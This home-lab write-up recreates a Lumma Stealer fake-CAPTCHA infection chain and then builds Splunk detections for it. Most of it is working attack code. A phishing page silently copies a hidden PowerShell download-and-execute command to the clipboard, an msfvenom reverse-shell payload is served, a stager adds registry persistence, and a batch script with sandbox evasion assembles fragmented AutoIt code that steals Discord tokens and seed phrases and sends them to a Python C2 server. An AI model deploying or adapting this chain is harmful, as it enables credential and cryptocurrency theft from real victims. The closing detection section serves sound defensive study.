Home Lab (Lumma Stealer)
Overview of the Lumma Stealer Attack Chain
The Lumma Stealer attack via fake CAPTCHA pages typically follows this infection chain:
Initial Access: A user visits a compromised or malicious website hosting a fake CAPTCHA page, often through phishing emails, malvertising, or compromised legitimate sites.
Social Engineering: The fake CAPTCHA page mimics legitimate services (e.g., Google reCAPTCHA) and tricks the user into clicking a “Verify” or “I’m not a robot” button.
Clipboard Manipulation: Clicking the button copies a malicious PowerShell command to the user’s clipboard, often Base64-encoded.
User Execution: The user is instructed to paste and execute the command in the Windows Run dialog
Win+R
or a terminal, which triggers the malware download.Malware Delivery: The PowerShell script downloads and executes the Lumma Stealer payload, often from a content delivery network (CDN) or a legitimate platform like GitHub.
Payload Execution: The malware employs techniques like DLL sideloading or process injection to run silently, stealing sensitive data (e.g., credentials, cryptocurrency wallets, browser data).
Data Exfiltration: The stolen data is sent to a command-and-control (C2) server.
Home Lab Setup
Windows Machine
Kali Linux Machine.
Ubuntu Machine (Splunk)
I installed Sysmon on the Windows machine, Splunk on the Ubuntu system, and the Splunk Forwarder on the Windows machine to collect and send logs to Splunk.
I have forwarded the Application, Security, PowerShell, and Sysmon logs to Splunk. The Application and Security logs were configured directly within Splunk during the index creation process. However, to send the PowerShell and Sysmon logs, I created a file named inputs.conf
in the following directory: C:\Program Files\SplunkUniversalForwarder\etc\apps\SplunkUniversalForwarder\local
, containing the follow configuration:
[WinEventLog://Microsoft-Windows-PowerShell/Operational]
disabled = false
index = powershell
sourcetype = WinEventLog:PowerShell
renderXml = 0
[WinEventLog://Microsoft-Windows-Sysmon/Operational]
disabled = false
renderXml = true
index= sysmon
source = XmlWinEventLog:Microsoft-Windows-Sysmon/Operational

Next, we need to restart the Splunk forwarder using the following command.
& 'C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe' restart
Now, we need to simulate additional sensitive data within the %APPDATA% directory, which will serve as the target for our exfiltration test.
mkdir "$env:APPDATA\Discord\localStorage" -Force
Set-Content -Path "$env:APPDATA\Discord\localStorage\discord_token.txt" -Value "mfa.Hkjdhsjdhskjdhskjdhsjdhskjdhskjdhsjdhskjdhsjdhskjd"
New-Item -Path "$env:APPDATA\MetaMask" -ItemType Directory
Set-Content -Path "$env:APPDATA\MetaMask\seed_phrase.txt" -Value "apple banana cherry dog elephant fox grape house igloo jelly kangaroo lemon"

The Attack - Lumma Stealer
Let's begin by creating the fake CAPTCHA webpage that will be used in our attack simulation.
mkdir -p /var/www/html/captcha
nano /var/www/html/captcha/index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Verify You Are Human</title>
<style>
body {
font-family: Arial, sans-serif;
text-align: center;
margin-top: 50px;
}
.captcha-box {
border: 1px solid #ccc;
padding: 20px;
width: 300px;
margin: auto;
background-color: #f9f9f9;
}
.verify-btn {
background-color: #4285F4;
color: white;
padding: 10px 20px;
border: none;
cursor: pointer;
font-size: 16px;
}
.verify-btn:hover {
background-color: #3367D6;
}
#overlay {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.5);
z-index: 999;
}
#recaptchaPopup {
display: none;
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background: white;
padding: 20px;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.3);
z-index: 1000;
width: 350px;
text-align: left;
}
#recaptchaPopup.active, #overlay.active {
display: block;
}
#recaptchaPopup h3 {
margin-top: 0;
color: #333;
}
#recaptchaPopup p {
font-size: 14px;
color: #555;
}
#recaptchaPopup button {
background-color: #4285f4;
color: white;
padding: 10px;
border: none;
cursor: pointer;
width: 100%;
margin-top: 10px;
}
#recaptchaPopup button:hover {
background-color: #357ae8;
}
</style>
</head>
<body>
<div class="captcha-box">
<h2>Verify You Are Human</h2>
<p>Please click to verify.</p>
<button class="verify-btn" onclick="triggerCaptcha()">I'm not a robot</button>
</div>
<div id="overlay"></div>
<div id="recaptchaPopup">
<h3>reCAPTCHA Verification ID: 2165</h3>
<p>To verify:</p>
<p>1. Press Win + R</p>
<p>2. Press Ctrl + V</p>
<p>3. Press Enter</p>
<button onclick="closePopup()">Verify</button>
</div>
<script>
function triggerCaptcha() {
// Simulate malicious mshta command (replace <kali-ip> with your lab-controlled IP)
const textToCopy = `powershell -w hidden -ep bypass -c $url='http://192.168.204.152/payload/win15.txt'; iex (iwr $url -UseBasicParsing).Content`;
// Copy to clipboard and show popup in one action
const tempTextArea = document.createElement("textarea");
tempTextArea.value = textToCopy;
document.body.appendChild(tempTextArea);
tempTextArea.select();
try {
document.execCommand("copy");
// Show popup and overlay
document.getElementById("recaptchaPopup").classList.add("active");
document.getElementById("overlay").classList.add("active");
} catch (err) {
alert("Failed to copy command. Please try again.");
}
document.body.removeChild(tempTextArea);
}
function closePopup() {
// Hide popup and overlay
document.getElementById("recaptchaPopup").classList.remove("active");
document.getElementById("overlay").classList.remove("active");
}
</script>
</body>
<html>

Let's modify the permissions of the Captcha folder to ensure the phishing page is accessible through the web server.
sudo chown www-data:www-data -R /var/www/html/captcha
sudo chmod 755 -R /var/www/html/captcha

In the code, clicking the button copies the command to the user's clipboard. Let's verify this behavior.

When the Win + R
keys were pressed, the command was automatically copied to the clipboard.

We now need to generate the initial payload using msfvenom.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.204.152 LPORT=4444 -f exe -o Set-up.exe

Let's create a new folder named "payload" and move "Set-up.exe" into this folder.
mkdir -p /var/www/html/payload
mv Set-up.exe /var/www/html/payload/
Next, we will modify the file’s permissions to allow other users to download it via HTTP.
sudo chown www-data:www-data /var/www/html/payload/Set-up.exe
sudo chmod 644 /var/www/html/payload/Set-up.exe

Next, we will package the Set-up.exe
file into an archive named win15.zip
.
mkdir -p /tmp/win15
cp /var/www/html/payload/Set-up.exe /tmp/win15/
cd /tmp/win15
zip /var/www/html/payload/win15.zip Set-up.exe
rm -rf /tmp/win15

Next, we need to modify its permissions to ensure that Apache can serve the ZIP file.
sudo chown www-data:www-data /var/www/html/payload/win15.zip
sudo chmod 644 /var/www/html/payload/win15.zip

While developing the fake CAPTCHA web page, we configure it to copy the following PowerShell command to the victim's clipboard: powershell -w hidden -ep bypass -c "$url='http://192.168.204.152/payload/win15.txt'; iex (iwr $url -UseBasicParsing).Content"
This command initiates the download and execution of a remote script. Next, we will create the win15.txt
file, which will be fetched when the victim proceeds with the CAPTCHA verification steps.
$zipUrl = "http://192.168.204.152/payload/win15.zip"
$zipDest = "$env:APPDATA\bFylC6zX.zip"
$extractPath = "$env:APPDATA\7oCDTWYu"
Invoke-WebRequest -Uri $zipUrl -OutFile $zipDest
Expand-Archive -Path $zipDest -DestinationPath $extractPath -Force
$setupPath = "$extractPath\Set-up.exe"
if (-not (Test-Path $extractPath)) { New-Item -Path $extractPath -ItemType Directory }
Start-Process -FilePath $setupPath
Start-BitsTransfer -Source "http://192.168.204.152/payload/hose.cmd" -Destination "$extractPath\Hose.cmd"
Start-Process -FilePath "cmd.exe" -ArgumentList "/c $extractPath\Hose.cmd"
New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "5TQjtTuo" -Value $setupPath -PropertyType String -Force

Breakdown:
$zipUrl: The web address where the ZIP file is hosted on Kali.
$zipDest: Saves the ZIP to a hidden folder in the user’s AppData (
%APPDATA%\bFylC6zX.zip
) to avoid easy detection.$extractPath: Sets the extraction location to
%APPDATA%\7oCDTWYu
, another hidden folder.Invoke-WebRequest: Downloads the ZIP file from Kali.
Expand-Archive: Unzips
Set-up.exe
to the extraction path.if (-not (Test-Path $extractPath)): Checks if the extraction directory exists; if not, creates it.
Start-Process -FilePath $setupPath: Runs
Set-up.exe
to establish the reverse shell.Start-BitsTransfer: Downloads the next script (
Hose.cmd
) to continue the attack.Start-Process -FilePath "cmd.exe": Executes
Hose.cmd
using the Command Prompt.New-ItemProperty: Adds a registry key to make
Set-up.exe
run every time the computer starts (persistence).
This script mimics a phishing attack where the victim runs a downloaded file, triggering the malware chain.
Next, let's modify the permissions of this file.
sudo chown www-data:www-data /var/www/html/payload/win15.txt
sudo chmod 644 /var/www/html/payload/win15.txt

Next, we need to generate the AutoIt script fragments (suggests.a3x).
We will develop segmented fragments of an AutoIt script designed to exfiltrate data to a Command and Control (C2) server. When executed on a victim's system, the script will harvest Discord tokens and MetaMask seed phrases. By dividing the script into smaller fragments, we aim to reduce the likelihood of detection.
echo "#NoTrayIcon" | sudo tee /var/www/html/payload/Italy
echo "#include <File.au3>" | sudo tee -a /var/www/html/payload/Italy
echo "#include <Inet.au3>" | sudo tee /var/www/html/payload/Holmes
echo "Local \$sData = ''" | sudo tee /var/www/html/payload/True
echo "Local \$sFile = @AppDataDir & '\Discord\localStorage\discord_token.txt'" | sudo tee /var/www/html/payload/Lying
echo "If FileExists(\$sFile) Then \$sData &= FileRead(\$sFile) & @CRLF" | sudo tee /var/www/html/payload/Responded
echo "Local \$sFile = @AppDataDir & '\MetaMask\seed_phrase.txt'" | sudo tee /var/www/html/payload/Proc
echo "If FileExists(\$sFile) Then \$sData &= FileRead(\$sFile) & @CRLF" | sudo tee /var/www/html/payload/Fa
echo -E "InetGet('http://192.168.204.152:8080/c2?data=' & \$sData, @TempDir & '\exfil_data.txt', 1)" | sudo tee /var/www/html/payload/Ink

Explanation:
#NoTrayIcon: hides the script’s icon from the system tray.
#include <File.au3>: adds the AutoIt file handling library. We need this library to read files on the victim machine.
#include <Inet.au3>: adds the internet library for sending data. This library enables the
InetGet
command to exfiltrate data.Local $sData = '' : declares a variable to store the stolen data, initialized as an empty string.
Local $sFile: sets a variable to the path where Discord tokens might be stored. @AppDataDir is an AutoIt macro for the user’s AppData folder (e.g., C:\Users\jody\AppData\Roaming).
InetGet: sends an HTTP GET request to the C2 server with the data, saving the response to
%TEMP%\exfil_data.txt
. The 1 flag forces an overwrite if the file exists.
To collect these fragments, we will create a file named hose.cmd
that concatenates them. On the victim machine, this will produce the following result:
#NoTrayIcon
#include <File.au3>
#include <Inet.au3>
Local $sData = ''
Local $sFile = @AppDataDir & '\Discord\localStorage\discord_token.txt'
If FileExists($sFile) Then $sData &= FileRead($sFile) & @CRLF
Local $sFile = @AppDataDir & '\MetaMask\seed_phrase.txt'
If FileExists($sFile) Then $sData &= FileRead($sFile) & @CRLF
InetGet('http://192.168.204.152:8080/c2?data=' & $sData, @TempDir & '\exfil_data.txt', 1)
This script checks for the specified files, collects their content, and sends it to the C2 server.
Let's also modify their permissions.
sudo chown www-data:www-data /var/www/html/payload/{Italy,Holmes,True,Lying,Responded,Proc,Fa,Ink}
sudo chmod 644 /var/www/html/payload/{Italy,Holmes,True,Lying,Responded,Proc,Fa,Ink}
To clarify the scenario, the process should be as follows.
The victim clicks on the CAPTCHA verification button, which triggers the copying of a malicious command to their clipboard. Following the instructions, the victim presses Win + R
and hits Enter, causing the commands listed in the win15.txt
file to execute sequentially.
At this stage, we need to create the hose.cmd
script to aggregate these fragments into a file named suggests.a3x
, allowing us to retrieve the target files and transmit them to our Command and Control (C2) server.
nano /var/www/html/payload/hose.cmd
@echo off
tasklist | findstr /I "wrsa opssvc" & if not errorlevel 1 ping -n 198 127.0.0.1
Set /a Realtor=195402
mkdir %TEMP%\195402
cd %TEMP%\195402
:: Check if AutoIt3_x64.exe exists, if not download it
if not exist "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" (
powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/AutoIt3_x64.exe' -OutFile 'AutoIt3_x64.exe'"
)
:: Set the AutoIt3 executable path
Set AUTOIT_PATH=%CD%\AutoIt3_x64.exe
:: Download payload fragments to evade detection
powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/Italy' -OutFile '..\Italy'"
powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/Holmes' -OutFile '..\Holmes'"
powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/True' -OutFile '..\True'"
powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/Lying' -OutFile '..\Lying'"
powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/Responded' -OutFile '..\Responded'"
powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/Proc' -OutFile '..\Proc'"
powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/Fa' -OutFile '..\Fa'"
powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/Ink' -OutFile '..\Ink'"
:: Concatenate all payload components to create the final a3x file
cmd /c copy /b ..\Italy + ..\Holmes + ..\True + ..\Lying + ..\Responded + ..\Proc + ..\Fa + ..\Ink suggests.a3x
:: Execute the final payload
if exist "%AUTOIT_PATH%" (
"%AUTOIT_PATH%" suggests.a3x
) else (
"C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" suggests.a3x
)
:: Wait before exit
choice /d y /t 5

Explanation:
tasklist | findstr /I "wrsa opssvc" & if not errorlevel 1 ping -n 198 127.0.0.1: The script checks for the presence of security software by using the
tasklist
command. If any such software is detected, it delays execution by issuing aping -n 198 localhost
command, causing the system to ping itself 198 times. This technique is intended to evade sandbox analysis, as sandboxes often terminate execution before the delay completes.Set /a Realtor=195402: Sets a random variable.
mkdir %TEMP%\195402 and cd %TEMP%\195402: Creates and moves to a temporary folder named 195402 in the system's temp directory.
if not exist "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" (...): Checks if the AutoIt executable exists; if not, downloads it from
http://192.168.204.152/payload/AutoIt3_x64.exe
.Set AUTOIT_PATH=%CD%\AutoIt3_x64.exe: Sets the path to the downloaded or existing AutoIt executable.
cmd /c copy /b ..\Italy + ..\Holmes + ... suggests.a3x: Combines the downloaded pieces into a single file called
suggests.a3x
.if exist "%AUTOIT_PATH%" (...) else (...): Runs suggests.a3x using the downloaded AutoIt or the default installed version.
choice /d y /t 5: Pauses the script for 5 seconds before exiting.
This script is a malware delivery tool that downloads and assembles a malicious AutoIt script suggests.a3x
on the victim's computer, then runs it to steal data like Discord tokens or MetaMask seed phrases, sending it to a remote server while trying to avoid detection by security software.
You can download AutoIt3_x64.exe
from the official website using the following link:
https://www.autoitscript.com/site/autoit/downloads/
Next, let's update the permissions for the hose.cmd
file.
sudo chown www-data:www-data /var/www/html/payload/hose.cmd
sudo chmod 644 /var/www/html/payload/hose.cmd

We now need to develop a Python-based Command and Control (C2) server to receive the exfiltrated data.
nano /var/www/html/c2.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
class C2Handler(BaseHTTPRequestHandler):
def do_GET(self):
query = urllib.parse.urlparse(self.path).query
params = urllib.parse.parse_qs(query)
data = params.get('data', ['No data'])[0]
with open('/var/www/html/c2_data.txt', 'a') as f:
f.write(f"[C2 GET {self.log_date_time_string()}] {data}\n")
self.send_response(200)
self.end_headers()
server = HTTPServer(('', 8080), C2Handler)
print("C2 Server Started on port 8080")
server.serve_forever()

Let's start the C2 server and configure the appropriate permissions for the c2_data.txt
file.
sudo python3 /var/www/html/c2.py
sudo chown www-data:www-data /var/www/html/c2_data.txt
sudo chmod 644 /var/www/html/c2_data.txt


Before launching the attack, let's first start a listener to capture the reverse shell from Set-up.exe.
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.204.152
set LPORT 4444
exploit

Everything is now properly configured; let's proceed with the attack simulation to verify its effectiveness.

Let's now verify whether we received a reverse shell and if any data exfiltration occurred.


The attack appears to have been successful; let's now verify whether the registry key was also added.
Get-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "5TQjtTuo"

Investigation & Detection
The attack begins with a file download, so let's filter by Event Code 4104 to examine the executed PowerShell commands.
index=powershell EventCode=4104
| eval Message=lower(Message)
| where
Message LIKE "%-e%" OR
Message LIKE "%-enc%" OR
Message LIKE "%-encodedcommand%" OR
Message LIKE "%invoke-webrequest%" OR
Message LIKE "%downloadstring%" OR
Message LIKE "%start-process%" OR
Message LIKE "%get-clipboard%" OR
Message LIKE "%hidden%" OR
Message LIKE "%bitlockertogo%" OR
Message LIKE "%bitstransfer%" OR
Message LIKE "%iwr%" OR
Message LIKE "%iex%"
| eval base64_pattern=if(match(Message, "[a-zA-Z0-9+/]{44,}([a-zA-Z0-9+/]{4}|[a-zA-Z0-9+/]{3}=|[a-zA-Z0-9+/]{2}==)"), "Possible Base64", "None")
| eval suspicious_cmdlet=if(match(Message, "(invoke-webrequest|iwr|downloadstring|enc|encodedcommand|hidden|bitstransfer|start-process|get-clipboard)"), "Suspicious Cmdlet", "None")
| stats count by _time, host, Message, base64_pattern, suspicious_cmdlet
| where suspicious_cmdlet="Suspicious Cmdlet"
| table _time, Message, base64_pattern, suspicious_cmdlet, count


The attacker first downloaded a file named
win15.txt
, which contained a list of commands to be executed sequentially.A ZIP file was downloaded from the remote IP address
192.168.204.152
and saved to the path:$env:APPDATA\bfylc6zx.zip
.The ZIP file was extracted to a randomly named folder:
$env:APPDATA\7ocdtwyu
.Within the extracted contents, a file named
Set-up.exe
was found and executed.Another file,
hose.cmd
, was placed in the same extracted folder and subsequently executed.To maintain persistence, a registry key named
5tqjttuo
(randomly generated) was created, with its value set to the path ofSet-up.exe
.
Let's review the network logs to determine if any outbound connections were initiated following the execution of Set-up.exe
.
index=sysmon EventCode=3 *Set-up.exe*
| table _time, process_name, SourceIp, SourcePort, DestinationIp, DestinationPort

Following the execution of Set-up.exe
, the attacker successfully established a reverse shell connection on port 4444.
Next, let's filter for the file named hose.cmd
to examine its contents.
index="sysmon" EventCode=1 parent_process=*hose.cmd*
| table _time, CommandLine

In this case, it was observed that the hose.cmd
file was used to download file fragments, which the attacker subsequently combined to create the file suggests.a3x
, which is an AutoIt script, a scripting language primarily used for automating Windows GUI tasks and developing Windows-based applications.
index="wineventlog" EventCode=4688 *suggests.a3x*
| table _time, Process_Command_Line

The attacker then executed the AutoIt suggests.a3x
script using AutoIt_x64.exe
.
index=sysmon EventCode=3 DestinationIp=192.168.204.152
| table _time, process_name, SourceIp, DestinationIp, DestinationPort
| sort _time

By analyzing the network connections to the attacker's IP, we observe that within just 15 seconds, the attacker downloaded an initial file containing execution commands and established a reverse shell on port 4444. Subsequently, they downloaded several file fragments used to assemble the AutoIt script that was executed. An additional connection was then made to the attacker's server on port 8080, likely for data exfiltration.
We can create a detection rule based on the initial query and configure it to run every 15 minutes. Let's proceed with this approach.


Also let's enable throttling to prevent excessive alerts from the same issue, thereby avoiding "alert overload." Additionally, we should configure the "Log Event" action, which records the alert’s triggering details in Splunk’s internal logs (index=_internal) or a custom index.

Let's initiate the attack once more and verify if an alert is triggered.
From Settings > Searches, Reports, and Alerts
in the Splunk web interface.


Alternatively, we can verify this from the index=main
.

You can explore this informative URL to learn more about the detection rules in Splunk that can be used to identify the Lumma Stealer attack: https://research.splunk.com/stories/lumma_stealer/
Last updated